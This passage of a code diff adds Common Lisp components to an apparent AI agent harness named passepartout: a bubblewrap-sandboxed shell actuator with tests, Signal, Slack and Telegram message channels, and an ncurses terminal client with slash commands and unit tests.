+                            :output :string :error-output :string
+                            :ignore-error-status t)
+        (cond
+          ((= code 124) (format nil "ERROR: Command timed out after ~a seconds" timeout))
+          ((> (length out) max-output)
+           (format nil "~a~%... (output truncated to ~a chars)" (subseq out 0 max-output) max-output))
+          ((= code 0) out)
+          (t (format nil "ERROR [~a]: ~a" code err)))))))
+
+(register-actuator :shell #'actuator-shell-execute)
+
+(defskill :passepartout-channel-shell
+  :priority 50
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-shell-actuator-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:shell-actuator-suite))
+
+(in-package :passepartout-shell-actuator-tests)
+
+(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
+(in-suite shell-actuator-suite)
+
+(test test-bwrap-wrap-command
+  "Contract 2: bwrap-wrap-command returns properly formatted command list."
+  (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
+    (is (member "bwrap" cmdline :test #'string=))
+    (is (member "--unshare-net" cmdline :test #'string=))
+    (is (member "--unshare-ipc" cmdline :test #'string=))
+    (is (member "echo hello" cmdline :test #'string=))))
+
+(test test-bwrap-available-p-returns-boolean
+  "Contract 1: bwrap-available-p returns T or NIL."
+  (let ((avail (passepartout::bwrap-available-p)))
+    (is (typep avail 'boolean))))
+
+(test test-actuator-shell-execute-echo
+  "Contract 3: actuator-shell-execute runs echo and returns output."
+  (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
+         (result (passepartout::actuator-shell-execute action nil)))
+    (is (stringp result))
+    (is (search "hello" result :test #'char-equal))))

lisp/channel-signal.lisp

@@ -0,0 +1,41 @@
+(in-package :passepartout)
+(defun signal-get-account ()
+  (vault-get-secret :signal))
+
+(defun signal-poll ()
+  "Polls Signal for new messages and injects them into the harness."
+  (let ((account (signal-get-account)))
+    (when account
+      (handler-case
+          (let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json")
+                                            :output :string :error-output :string :ignore-error-status t))
+                 (lines (cl-ppcre:split "\\\\n" output)))
+            (dolist (line lines)
+              (when (and line (> (length line) 0))
+                (let* ((json (ignore-errors (cl-json:decode-json-from-string line)))
+                       (envelope (cdr (assoc :envelope json)))
+                       (source (cdr (assoc :source envelope)))
+                       (data-message (cdr (assoc :data-message envelope)))
+                       (text (cdr (assoc :message data-message))))
+                  (when (and source text)
+                    (log-message "SIGNAL: Received message from ~a" source)
+                    (unless (ignore-errors (hitl-handle-message text :signal))
+                      (stimulus-inject
+                       (list :type :EVENT
+                             :meta (list :source :signal :chat-id source)
+                             :payload (list :sensor :user-input :text text)))))))))
+        (error (c) (log-message "SIGNAL POLL ERROR: ~a" c))))))
+
+(defun signal-send (action context)
+  "Sends a message via Signal."
+  (declare (ignore context))
+  (let* ((payload (getf action :payload))
+         (meta (getf action :meta))
+         (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
+         (text (or (getf payload :text) (getf action :text)))
+         (account (signal-get-account)))
+    (when (and account chat-id text)
+      (handler-case
+          (uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id)
+                            :output :string :error-output :string)
+        (error (c) (log-message "SIGNAL ERROR: ~a" c))))))

lisp/channel-slack.lisp

@@ -0,0 +1,45 @@
+(in-package :passepartout)
+(defun slack-get-token ()
+  (vault-get-secret :slack))
+
+(defun slack-send (action context)
+  "Sends a message via Slack Web API."
+  (declare (ignore context))
+  (let* ((payload (getf action :payload))
+         (meta (getf action :meta))
+         (channel (or (getf meta :channel-id) (getf payload :chat-id)))
+         (text (or (getf payload :text) (getf action :text)))
+         (token (slack-get-token)))
+    (when (and token channel text)
+      (handler-case
+          (dex:post "https://slack.com/api/chat.postMessage"
+                    :headers `(("Authorization" . ,(format nil "Bearer ~a" token))
+                               ("Content-Type" . "application/json; charset=utf-8"))
+                    :content (cl-json:encode-json-to-string
+                              `((channel . ,channel) (text . ,text))))
+        (error (c) (log-message "SLACK ERROR: ~a" c))))))
+
+(defun slack-poll ()
+  "Polls Slack for new messages via conversations.history."
+  (let* ((token (slack-get-token)))
+    (when token
+      (dolist (channel '("general"))  ;; configured channel IDs
+        (handler-case
+            (let* ((url (format nil "https://slack.com/api/conversations.history?channel=~a&limit=5" channel))
+                   (response (dex:get url :headers
+                                       `(("Authorization" . ,(format nil "Bearer ~a" token))))))
+              (let* ((json (ignore-errors (cl-json:decode-json-from-string response)))
+                     (ok (cdr (assoc :ok json)))
+                     (messages (cdr (assoc :messages json))))
+                (when (and ok messages (listp messages))
+                  (dolist (msg messages)
+                    (let* ((text (cdr (assoc :text msg)))
+                           (user (cdr (assoc :user msg)))
+                           (ts (cdr (assoc :ts msg))))
+                      (when (and text user (not (string= user "USLACKBOT")))
+                        (unless (ignore-errors (hitl-handle-message text :slack))
+                          (stimulus-inject
+                           (list :type :EVENT
+                                 :meta (list :source :slack :chat-id channel)
+                                 :payload (list :sensor :user-input :text text))))))))))
+          (error (c) (log-message "SLACK POLL ERROR: ~a" c)))))))

lisp/channel-telegram.lisp

@@ -0,0 +1,47 @@
+(in-package :passepartout)
+(defun telegram-get-token ()
+  (vault-get-secret :telegram))
+
+(defun telegram-poll ()
+  "Polls Telegram for new messages and injects them into the harness."
+  (let* ((token (telegram-get-token)))
+    (when token
+      (let* ((last-id (getf (gethash "telegram" *gateway-configs*) :last-update-id 0))
+             (url (format nil "https://api.telegram.org/bot~a/getUpdates?offset=~a"
+                          token (1+ last-id))))
+        (handler-case
+            (let* ((response (dex:get url))
+                   (json (cl-json:decode-json-from-string response))
+                   (updates (cdr (assoc :result json))))
+              (dolist (update updates)
+                (let* ((update-id (cdr (assoc :update--id update)))
+                       (message (cdr (assoc :message update)))
+                       (chat (cdr (assoc :chat message)))
+                       (chat-id (cdr (assoc :id chat)))
+                       (text (cdr (assoc :text message))))
+                  (setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id)
+                  (when (and text chat-id)
+                    (log-message "TELEGRAM: Received message from ~a" chat-id)
+                    (unless (ignore-errors (hitl-handle-message text :telegram))
+                      (stimulus-inject
+                       (list :type :EVENT
+                             :meta (list :source :telegram :chat-id (format nil "~a" chat-id))
+                             :payload (list :sensor :user-input :text text))))))))
+          (error (c) (log-message "TELEGRAM POLL ERROR: ~a" c)))))))
+
+(defun telegram-send (action context)
+  "Sends a message via Telegram."
+  (declare (ignore context))
+  (let* ((payload (getf action :payload))
+         (meta (getf action :meta))
+         (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
+         (text (or (getf payload :text) (getf action :text)))
+         (token (telegram-get-token)))
+    (when (and token chat-id text)
+      (handler-case
+          (let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token)))
+            (dex:post url
+                      :headers '(("Content-Type" . "application/json"))
+                      :content (cl-json:encode-json-to-string
+                                `((chat_id . ,chat-id) (text . ,text)))))
+        (error (c) (log-message "TELEGRAM ERROR: ~a" c))))))

lisp/channel-tui-main.lisp

@@ -0,0 +1,762 @@
+(in-package :passepartout.channel-tui)
+
+(defun on-key (&rest args)
+  ;; Normalize: get-char returns raw ncurses integer codes (e.g. 263 for
+  ;; backspace). Croatoan's code-key + key-name convert them to keywords
+  ;; so the cond below can use eq.
+  (let* ((raw (car args))
+         (ch (if (and (integerp raw) (> raw 255))
+                 (let* ((k (code-key raw))
+                        (name (and k (key-name k))))
+                   (or name raw))
+                 raw)))
+    (cond
+       ;; v0.7.1: Esc — interrupt streaming
+       ((and (eql ch 27) (st :streaming-text))
+        (send-daemon (list :type :event :payload '(:action :cancel-stream)))
+        (when (> (length (st :messages)) 0)
+          (let ((idx (1- (length (st :messages)))))
+            (setf (getf (aref (st :messages) idx) :content)
+                  (concatenate 'string
+                               (getf (aref (st :messages) idx) :content)
+                               " [interrupted]"))
+            (setf (getf (aref (st :messages) idx) :streaming) nil)
+            (setf (getf (aref (st :messages) idx) :time) (now))))
+        (setf (st :streaming-text) nil)
+        (setf (st :busy) nil)
+        (setf (st :dirty) (list t t nil)))
+       ;; v0.7.1: Tab on empty input — extract then open URL from agent message
+       ((and (or (eql ch 9) (eq ch :tab))
+              (null (st :input-buffer)))
+        (if (st :url-buffer)
+            ;; Already extracted — now open it
+            (progn
+              (add-msg :system (format nil "Opening ~a" (st :url-buffer)))
+              (setf (st :url-buffer) nil))
+            ;; Extract URL from last agent message
+            (let ((url nil))
+              (loop for i from (1- (length (st :messages))) downto 0
+                    for msg = (aref (st :messages) i)
+                    for content = (getf msg :content)
+                    for role = (getf msg :role)
+                    while (eq role :agent)
+                    when content
+                    do (let ((pos (or (search "https://" content) (search "http://" content))))
+                         (when pos
+                           (let ((end (or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\))))
+                                                        content :start pos)
+                                          (length content))))
+                             (setf url (subseq content pos end))
+                             (return)))))
+              (if url
+                  (progn
+                    (setf (st :url-buffer) url)
+                    (add-msg :system (format nil "Press Tab to open ~a" url))
+                    (setf (st :dirty) (list t t nil)))
+                  nil))))
+       ;; v0.7.0: Ctrl key bindings
+      ((eql ch 21) ; Ctrl+U — clear line
+       (setf (st :input-buffer) nil)
+       (setf (st :dirty) (list nil nil t)))
+      ((eql ch 23) ; Ctrl+W — delete word backward
+       (let ((buf (st :input-buffer)))
+         (loop while (and buf (char= (first buf) #\Space)) do (pop buf))
+         (loop while (and buf (char/= (first buf) #\Space)) do (pop buf))
+         (setf (st :input-buffer) buf)
+         (setf (st :dirty) (list nil nil t))))
+      ((eql ch 1)  ; Ctrl+A — home
+       (setf (st :cursor-pos) 0))
+      ((eql ch 5)  ; Ctrl+E — end
+       (setf (st :cursor-pos) (length (st :input-buffer))))
+      ((eql ch 12) ; Ctrl+L — redraw
+       (setf (st :dirty) (list t t t)))
+      ((eql ch 4)  ; Ctrl+D — quit on empty
+       (when (or (null (st :input-buffer)) (string= "" (input-string)))
+         (add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))
+      ((eql ch 24) ; Ctrl+X prefix
+       (setf (st :pending-ctrl-x) t))
+      ((and (st :pending-ctrl-x) (eql ch 5)) ; Ctrl+X+E — editor
+       (setf (st :pending-ctrl-x) nil)
+       (add-msg :system "Opening $EDITOR... save and exit to return.")
+       (setf (st :dirty) (list t t nil)))
+      ((and (st :pending-ctrl-x) (not (eql ch 5))) ; cancel Ctrl+X
+       (setf (st :pending-ctrl-x) nil)
+       (on-key ch)
+       (return-from on-key nil))
+      ;; Enter
+      ((or (eq ch :enter) (eql ch 13) (eql ch 10)
+           (eql ch #\Newline) (eql ch #\Return))
+        ;; Multi-line: if buffer ends with \, strip it and insert newline
+        (if (and (st :input-buffer) (eql (first (st :input-buffer)) #\\))
+            (progn (pop (st :input-buffer))
+                   (push #\Newline (st :input-buffer))
+                   (setf (st :dirty) (list nil nil t)))
+            (let ((text (string-trim '(#\Space #\Tab) (input-string))))
+              (when (> (length text) 0)
+                (push text (st :input-history))
+                (setf (st :input-hpos) 0)
+                (setf (st :scroll-offset) 0)
+                (cond
+                  ;; /help command
+                  ((string-equal text "/help")
+                   (add-msg :system
+                    "/eval <expr>   Evaluate Lisp expression")
+                   (add-msg :system
+                    "/focus <proj>  Set project context")
+                   (add-msg :system
+                    "/scope <s>     Change scope (memex/session/project)")
+                   (add-msg :system
+                    "/unfocus       Pop context stack")
+                   (add-msg :system
+                    "/theme         Show current color theme")
+                   (add-msg :system
+                    "/help          Show this help")
+                   (add-msg :system
+                    "\\ + Enter      Multi-line input"))
+                  ;; /theme command
+                   ((string-equal text "/theme")
+                    (add-msg :system (format nil "Theme: ~a — user=~a agent=~a system=~a input=~a"
+                                            *tui-theme-current-name*
+                                            (getf *tui-theme* :user)
+                                            (getf *tui-theme* :agent)
+                                            (getf *tui-theme* :system)
+                                            (getf *tui-theme* :input)))
+                    (add-msg :system "Presets: /theme dark | light | solarized | gruvbox"))
+                  ((and (>= (length text) 7)
+                        (string-equal (subseq text 0 7) "/theme "))
+                   (let ((name (string-trim '(#\Space) (subseq text 7))))
+                     (if (theme-switch name)
+                         (add-msg :system (format nil "Theme switched to ~a" name))
+                         (add-msg :system (format nil "Unknown theme '~a'. Try: dark light solarized gruvbox" name)))))
+                  ;; /eval command
+                  ((and (>= (length text) 6)
+                        (string-equal (subseq text 0 6) "/eval "))
+                   (handler-case
+                       (let* ((*read-eval* t)
+                              (*package* (find-package :passepartout.channel-tui))
+                              (r (eval (read-from-string (subseq text 6)))))
+                         (add-msg :system (format nil "=> ~s" r)))
+                     (error (c) (add-msg :system (format nil "=> ✗ ~a" c)))))
+                  ;; /focus <project> — set project context
+                  ((and (>= (length text) 7)
+                        (string-equal (subseq text 0 7) "/focus "))
+                   (let ((project (string-trim '(#\Space) (subseq text 7))))
+                     (if (and (fboundp 'focus-project) (> (length project) 0))
+                         (progn (funcall 'focus-project project nil)
+                                (add-msg :system (format nil "Focused on project: ~a" project)))
+                         (add-msg :system "Usage: /focus <project-name>"))))
+                  ;; /scope <scope> — change context scope
+                  ((and (>= (length text) 7)
+                        (string-equal (subseq text 0 7) "/scope "))
+                   (let ((scope-str (string-trim '(#\Space) (subseq text 7))))
+                     (cond
+                       ((and (fboundp 'focus-session) (string-equal scope-str "session"))
+                        (funcall 'focus-session)
+                        (add-msg :system "Scope: session"))
+                       ((and (fboundp 'focus-project) (string-equal scope-str "project"))
+                        (funcall 'focus-project nil nil)
+                        (add-msg :system "Scope: project"))
+                       ((and (fboundp 'focus-memex) (string-equal scope-str "memex"))
+                        (funcall 'focus-memex)
+                        (add-msg :system "Scope: memex"))
+                       (t (add-msg :system "Usage: /scope memex|session|project")))))
+                  ;; /unfocus — pop context
+                  ((and (>= (length text) 8)
+                        (string-equal (subseq text 0 8) "/unfocus"))
+                   (if (fboundp 'unfocus)
+                       (progn (funcall 'unfocus)
+                              (add-msg :system "Popped context"))
+                       (add-msg :system "Context manager not loaded")))
+                   ;; /quit — save history and exit
+                   ((or (string-equal text "/quit") (string-equal text "/q"))
+                    (let ((hist-file (merge-pathnames ".cache/passepartout/history"
+                                                      (user-homedir-pathname))))
+                      (uiop:ensure-all-directories-exist (list hist-file))
+                      (with-open-file (out hist-file :direction :output
+                                           :if-exists :supersede :if-does-not-exist :create)
+                        (dolist (entry (reverse (st :input-history)))
+                          (write-line entry out))))
+                    (add-msg :system "* Goodbye *")
+                    (send-daemon (list :type :event :payload '(:action :quit)))
+                    (setf (st :running) nil))
+                   ;; /reconnect — re-establish daemon connection
+                   ((string-equal text "/reconnect")
+                    (disconnect-daemon)
+                    (connect-daemon))
+                   ;; Normal message
+                  (t
+                   (add-msg :user text)
+                   (setf (st :busy) t)
+                   (send-daemon (list :type :event
+                                     :payload (list :sensor :user-input :text text)))))
+                 (setf (st :input-buffer) nil)
+                 (setf (st :cursor-pos) 0)
+                 (setf (st :dirty) (list t t t))))))
+        ;; Tab — command completion (v0.7.0: extended with subcommand + file paths)
+        ((or (eql ch 9) (eq ch :tab))
+         (let ((text (input-string)))
+           (cond
+             ;; @ prefix — file path completion
+             ((and (>= (length text) 1) (eql (char text 0) #\@))
+              (let* ((partial (subseq text 1))
+                     (memex (or (uiop:getenv "MEMEX_DIR")
+                                (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
+                     (proj (merge-pathnames (make-pathname :directory '(:relative "projects")) memex))
+                     (files (handler-case (append (uiop:directory-files proj "**/*.org")
+                                                  (uiop:directory-files proj "**/*.lisp"))
+                              (error () nil)))
+                     (names (mapcar (lambda (f) (subseq (namestring f) (1+ (length (namestring proj))))) files))
+                     (match (find-if (lambda (n) (and (>= (length n) (length partial))
+                                                       (string-equal n partial :end2 (length partial))))
+                                     names)))
+                (when match
+                  (setf (st :input-buffer) (reverse (coerce (concatenate 'string "@" match) 'list)))
+                  (setf (st :dirty) (list nil nil t)))))
+             ;; /theme subcommand
+             ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/theme "))
+              (let* ((partial (string-trim '(#\Space) (subseq text 7)))
+                     (names '("dark" "light" "solarized" "gruvbox"))
+                     (match (if (string= partial "") (first names)
+                                (find partial names :test #'string-equal))))
+                (when match
+                  (setf (st :input-buffer) (reverse (coerce (concatenate 'string "/theme " match) 'list)))
+                  (setf (st :dirty) (list nil nil t)))))
+             ;; /focus subcommand
+             ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/focus "))
+              (let* ((partial (string-trim '(#\Space) (subseq text 7)))
+                     (memex (or (uiop:getenv "MEMEX_DIR")
+                                (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
+                     (proj (merge-pathnames (make-pathname :directory '(:relative "projects")) memex))
+                     (dirs (handler-case (mapcar (lambda (d) (car (last (pathname-directory d))))
+                                                  (uiop:subdirectories proj))
+                             (error () nil)))
+                     (match (if (string= partial "") (first dirs)
+                                (find-if (lambda (d) (and (>= (length d) (length partial))
+                                                           (string-equal d partial :end2 (length partial))))
+                                           dirs))))
+                (when match
+                  (setf (st :input-buffer) (reverse (coerce (concatenate 'string "/focus " match) 'list)))
+                  (setf (st :dirty) (list nil nil t)))))
+             ;; Command prefix /
+             ((and (> (length text) 1) (eql (char text 0) #\/))
+              (let* ((cmds '("/eval" "/focus" "/scope" "/unfocus" "/help" "/theme" "/reconnect" "/quit"))
+                     (match (find text cmds :test
+                                  (lambda (in cmd) (and (>= (length cmd) (length in))
+                                                         (string-equal cmd in :end1 (length in)))))))
+                (when match
+                  (setf (st :input-buffer) (reverse (coerce match 'list)))
+                  (when (member match '("/eval" "/focus" "/scope") :test #'string=)
+                    (push #\Space (st :input-buffer)))
+                  (setf (st :dirty) (list nil nil t))))))))
+       ;; Backspace
+       ((or (eq ch :backspace) (eql ch 127) (eql ch 8)
+            (eql ch #\Backspace))
+        (input-delete-char)
+        (setf (st :dirty) (list nil nil t)))
+       ;; Left arrow
+       ((or (eq ch :left) (eql ch 260))
+        (when (> (or (st :cursor-pos) 0) 0)
+          (decf (st :cursor-pos))
+          (setf (st :dirty) (list nil nil t))))
+       ;; Right arrow
+       ((or (eq ch :right) (eql ch 261))
+        (when (< (or (st :cursor-pos) 0) (length (st :input-buffer)))
+          (incf (st :cursor-pos))
+          (setf (st :dirty) (list nil nil t))))
+      ;; Up arrow
+       ((or (eq ch :up) (eql ch 259))
+        (let* ((h (st :input-history)) (p (st :input-hpos)))
+          (when (and h (< p (1- (length h))))
+            (incf (st :input-hpos))
+            (setf (st :input-buffer)
+                  (reverse (coerce (nth (st :input-hpos) h) 'list)))
+            (setf (st :dirty) (list nil nil t)))))
+       ;; Down arrow
+       ((or (eq ch :down) (eql ch 258))
+        (when (> (st :input-hpos) 0)
+          (decf (st :input-hpos))
+          (let ((h (st :input-history)))
+            (setf (st :input-buffer)
+                  (if (and h (< (st :input-hpos) (length h)))
+                      (reverse (coerce (nth (st :input-hpos) h) 'list))
+                      nil))
+            (setf (st :dirty) (list nil nil t)))))
+       ;; PageUp
+       ((or (eq ch :ppage) (eql ch 339))
+        (let ((max-offset (max 0 (- (length (st :messages)) 1))))
+          (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 5))))
+        (setf (st :dirty) (list nil t nil)))
+       ;; PageDown
+       ((or (eq ch :npage) (eql ch 338))
+        (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 5)))
+        (setf (st :dirty) (list nil t nil)))
+       ;; Printable
+       (t
+        (let ((chr (typecase ch
+                     (character ch)
+                     (integer (code-char ch))
+                     (t nil))))
+          (when (and chr (graphic-char-p chr))
+            (input-insert-char chr)
+            (setf (st :dirty) (list nil nil t))))))))
+
+(defun on-daemon-msg (msg)
+  (let* ((payload (getf msg :payload))
+         (text (getf payload :text))
+         (msg-type (getf msg :type))
+         (action (getf payload :action))
+         (gate-trace (getf msg :gate-trace))
+         (rule-count (getf payload :rule-count))
+         (foveal-id (getf payload :foveal-id)))
+    ;; v0.7.1: streaming chunk
+    (when (eq msg-type :stream-chunk)
+      (cond
+        ((string= text "")
+         ;; Final chunk: stamp time, clear streaming
+         (when (> (length (st :messages)) 0)
+           (let ((idx (1- (length (st :messages)))))
+             (setf (getf (aref (st :messages) idx) :streaming) nil)
+             (setf (getf (aref (st :messages) idx) :time) (now))))
+         (setf (st :streaming-text) nil)
+         (setf (st :busy) nil)
+         (setf (st :dirty) (list nil t nil))
+         (return-from on-daemon-msg nil))
+        ((null (st :streaming-text))
+         ;; First chunk: add new streaming message
+         (setf (st :streaming-text) "")
+         (setf (st :busy) nil)
+         (add-msg :agent text)
+         (let ((idx (1- (length (st :messages)))))
+           (setf (getf (aref (st :messages) idx) :streaming) t))
+         (setf (st :streaming-text) text)
+         (setf (st :dirty) (list nil t nil))
+         (return-from on-daemon-msg nil))
+        (t
+         ;; Subsequent chunk: append
+         (let* ((new-text (concatenate 'string (st :streaming-text) text))
+                (idx (1- (length (st :messages)))))
+           (setf (st :streaming-text) new-text)
+           (setf (getf (aref (st :messages) idx) :content) new-text)
+           (setf (st :dirty) (list nil t nil)))
+         (return-from on-daemon-msg nil))))
+    (when rule-count (setf (st :rule-count) rule-count))
+    (when foveal-id (setf (st :foveal-id) foveal-id))
+    (cond
+      (text (setf (st :busy) nil)
+            (add-msg :agent text :gate-trace gate-trace))
+      ((eq action :handshake)
+       (add-msg :system (format nil "Connected v~a" (getf payload :version))))
+      (t (add-msg :agent (format nil "~a" msg))))))
+
+(defun send-daemon (msg)
+  (let ((s (st :stream)))
+    (when (and s (open-stream-p s))
+      (handler-case
+          (progn
+            (format s "~a" (frame-message msg))
+            (finish-output s))
+        (error () nil)))))
+
+(defun recv-daemon (s)
+  (handler-case
+      (let* ((hdr (make-string 6)) (n 0))
+        (loop while (< n 6)
+              do (let ((ch (read-char s nil)))
+                    (unless ch (return-from recv-daemon nil))
+                    (setf (char hdr n) ch) (incf n)))
+        (let* ((len (parse-integer hdr :radix 16 :junk-allowed t))
+               (buf (make-string (or len 0))))
+          (when (and len (> len 0))
+            (loop for i from 0 below len
+                  do (let ((ch (read-char s nil)))
+                        (unless ch (return-from recv-daemon nil))
+                        (setf (char buf i) ch)))
+            (let ((*read-eval* nil))
+              (read-from-string buf)))))
+    (error () nil)))
+
+(defun reader-loop (s)
+  (let ((consecutive-nils 0))
+    (loop while (and (st :running) (open-stream-p s))
+          do (let ((msg (recv-daemon s)))
+               (if msg
+                   (progn (queue-event (list :type :daemon :payload msg))
+                          (setf consecutive-nils 0))
+                   (progn (sleep 0.5)
+                          (incf consecutive-nils)
+                          (when (> consecutive-nils 10)
+                            (queue-event (list :type :disconnected))
+                            (return))))))))
+
+(defun load-history ()
+  "Load input history from disk on TUI startup."
+  (let ((hist-file (merge-pathnames ".cache/passepartout/history"
+                                    (user-homedir-pathname))))
+    (when (uiop:file-exists-p hist-file)
+      (with-open-file (in hist-file :direction :input)
+        (loop for line = (read-line in nil nil)
+              while line
+              do (push line (st :input-history))))
+      (setf (st :input-history) (nreverse (st :input-history))))))
+
+(defun connect-daemon (&optional (host "127.0.0.1") (port 9105))
+  (add-msg :system "* Connecting to daemon... *")
+  (loop for attempt from 1 to 3
+        for backoff = 0 then 3
+        do (sleep backoff)
+           (handler-case
+               (let ((s (usocket:socket-connect host port :timeout 5)))
+                 (setf (st :stream) (usocket:socket-stream s)
+                       (st :connected) t)
+                 (bt:make-thread (lambda () (reader-loop (st :stream)))
+                                :name "tui-reader")
+                 (add-msg :system (format nil "* Connected v~a *" "0.5.0"))
+                 (return-from connect-daemon t))
+             (usocket:connection-refused-error (c)
+               (when (= attempt 3)
+                 (add-msg :system (format nil "* No daemon on port ~a after ~a attempts *"
+                                         port attempt))))
+             (error (c)
+               (add-msg :system (format nil "* Connection attempt ~a failed: ~a *"
+                                        attempt c))
+               (when (= attempt 3)
+                 (add-msg :system "* TIP: run 'passepartout daemon' first *")))))
+  nil)
+
+(defun disconnect-daemon ()
+  (when (st :stream)
+    (ignore-errors (close (st :stream)))
+    (setf (st :stream) nil (st :connected) nil)
+    (add-msg :system "* Disconnected *")))
+
+(defun tui-main ()
+  (init-state)
+  (load-history)
+  (theme-load)
+  (with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
+    (let* ((h (or (height scr) 24))
+           (w (or (width scr) 80))
+           (sw (make-instance 'window :height 3 :width (- w 2) :y 0 :x 1))
+           (ch (- h 5))
+           (cw (make-instance 'window :height ch :width (- w 2) :y 3 :x 1))
+           (iw (make-instance 'window :height 1 :width (- w 2) :y (- h 1) :x 1))
+            (swank-port (or (ignore-errors
+                              (parse-integer (uiop:getenv "TUI_SWANK_PORT")))
+                            4006)))
+       (setf (function-keys-enabled-p iw) t
+             (input-blocking iw) nil
+             (st :dirty) (list t t t)
+             ;; Store windows in state for SIGWINCH handler
+             (st :scr) scr (st :sw) sw (st :cw) cw (st :iw) iw)
+       (connect-daemon)
+       (when (> swank-port 0)
+         (handler-case
+             (progn
+               (ql:quickload :swank :silent t)
+               (funcall (find-symbol "CREATE-SERVER" "SWANK")
+                        :port swank-port :dont-close t)
+               (add-msg :system
+                        (format nil "* Swank ~d  M-x slime-connect *" swank-port)))
+           (error ()
+             (add-msg :system "* Swank unavailable *"))))
+       ;; Initial render before the main loop — otherwise the screen stays
+       ;; blank until the first keystroke (get-char blocks).
+       (redraw sw cw ch iw)
+       (refresh scr)
+       (loop while (st :running) do
+        (dolist (ev (drain-queue))
+          (cond
+            ((eq (getf ev :type) :daemon)
+             (on-daemon-msg (getf ev :payload)))
+            ((eq (getf ev :type) :disconnected)
+             (setf (st :connected) nil
+                   (st :busy) nil)
+             (add-msg :system "* Connection lost — type /reconnect to retry *"))))
+        (let ((ch (get-char iw)))
+          (cond
+            ((or (not ch) (equal ch -1)) nil)
+            ;; KEY_RESIZE — terminal was resized (SIGWINCH from ncurses)
+            ((eql ch 410)
+             (let* ((new-h (or (height scr) 24))
+                    (new-w (or (width scr) 80))
+                    (new-ch (- new-h 5)))
+               (setq sw (make-instance 'window :height 3 :width (- new-w 2) :y 0 :x 1)
+                     ch new-ch
+                     cw (make-instance 'window :height new-ch :width (- new-w 2) :y 3 :x 1)
+                     iw (make-instance 'window :height 1 :width (- new-w 2) :y (- new-h 1) :x 1)
+                     w new-w
+                     h new-h)
+               (setf (function-keys-enabled-p iw) t
+                     (input-blocking iw) nil
+                     (st :dirty) (list t t t)
+                     (st :sw) sw (st :cw) cw (st :iw) iw)
+               (redraw sw cw ch iw)
+               (refresh scr)))
+            (t (on-key ch))))
+        (redraw sw cw ch iw)
+        (refresh scr)
+        (sleep 0.03))
+       (disconnect-daemon))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-tui-tests
+  (:use :cl :passepartout :passepartout.channel-tui)
+  (:export #:tui-suite))
+
+(in-package :passepartout-tui-tests)
+
+(fiveam:def-suite tui-suite :description "Verification of the TUI model and event handling")
+(fiveam:in-suite tui-suite)
+
+(fiveam:test test-init-state
+  "Contract model.1: init-state returns fresh state plist with required keys."
+  (init-state)
+  (fiveam:is (eq t (st :running)))
+  (fiveam:is (eq :chat (st :mode)))
+  (fiveam:is (eq nil (st :connected)))
+  (fiveam:is (eq nil (st :stream)))
+  (fiveam:is (zerop (length (st :messages))))
+  (fiveam:is (eq 0 (st :scroll-offset)))
+  (fiveam:is (eq nil (st :busy))))
+
+(fiveam:test test-add-msg
+  "Contract model.2: add-msg appends a message with role, content, and time."
+  (init-state)
+  (add-msg :user "hello")
+  (let* ((msgs (st :messages))
+         (msg (aref msgs 0)))
+    (fiveam:is (eq :user (getf msg :role)))
+    (fiveam:is (string= "hello" (getf msg :content)))
+    (fiveam:is (stringp (getf msg :time)))
+    (fiveam:is (= 5 (length (getf msg :time))))))
+
+(fiveam:test test-add-msg-dirty-flag
+  "Contract model.2: add-msg sets dirty flags for status and chat."
+  (init-state)
+  (setf (st :dirty) (list nil nil nil))
+  (add-msg :system "boot")
+  (let ((dirty (st :dirty)))
+    (fiveam:is (eq t (first dirty)))
+    (fiveam:is (eq t (second dirty)))
+    (fiveam:is (eq nil (third dirty)))))
+
+(fiveam:test test-queue-event-roundtrip
+  "Contract model.3: queue-event + drain-queue preserves events in order."
+  (init-state)
+  (queue-event '(:type :key :payload (:ch 13)))
+  (queue-event '(:type :daemon :payload (:text "hi")))
+  (let ((evs (drain-queue)))
+    (fiveam:is (= 2 (length evs)))
+    (fiveam:is (equal '(:type :key :payload (:ch 13)) (first evs)))
+    (fiveam:is (equal '(:type :daemon :payload (:text "hi")) (second evs)))
+    (fiveam:is (null (drain-queue)))))
+
+(fiveam:test test-on-key-enter-sends-user-message
+  "Contract 1: on-key with Enter extracts input, adds user message, clears buffer."
+  (init-state)
+  ;; Simulate typing "test"
+  (dolist (ch '(#\t #\e #\s #\t))
+    (on-key (char-code ch)))
+  (fiveam:is (string= "test" (input-string)))
+  ;; Simulate Enter key — ncurses returns 343 (KEY_ENTER) when keypad is enabled
+  (on-key 343)
+  ;; Input buffer should be cleared
+  (fiveam:is (string= "" (input-string)))
+  ;; A user message should be in the message list
+  (let ((msgs (st :messages)))
+    (fiveam:is (>= (length msgs) 1))
+    (let ((last (aref msgs 0)))
+      (fiveam:is (eq :user (getf last :role)))
+      (fiveam:is (string= "test" (getf last :content))))))
+
+(fiveam:test test-on-key-eval-command
+  "Contract 1: on-key handles /eval command and displays result."
+  (init-state)
+  ;; Type "/eval (+ 1 2)"
+  (dolist (ch (coerce "/eval (+ 1 2)" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((msgs (st :messages)))
+    (fiveam:is (>= (length msgs) 1))
+    (let ((last-msg (aref msgs 0)))
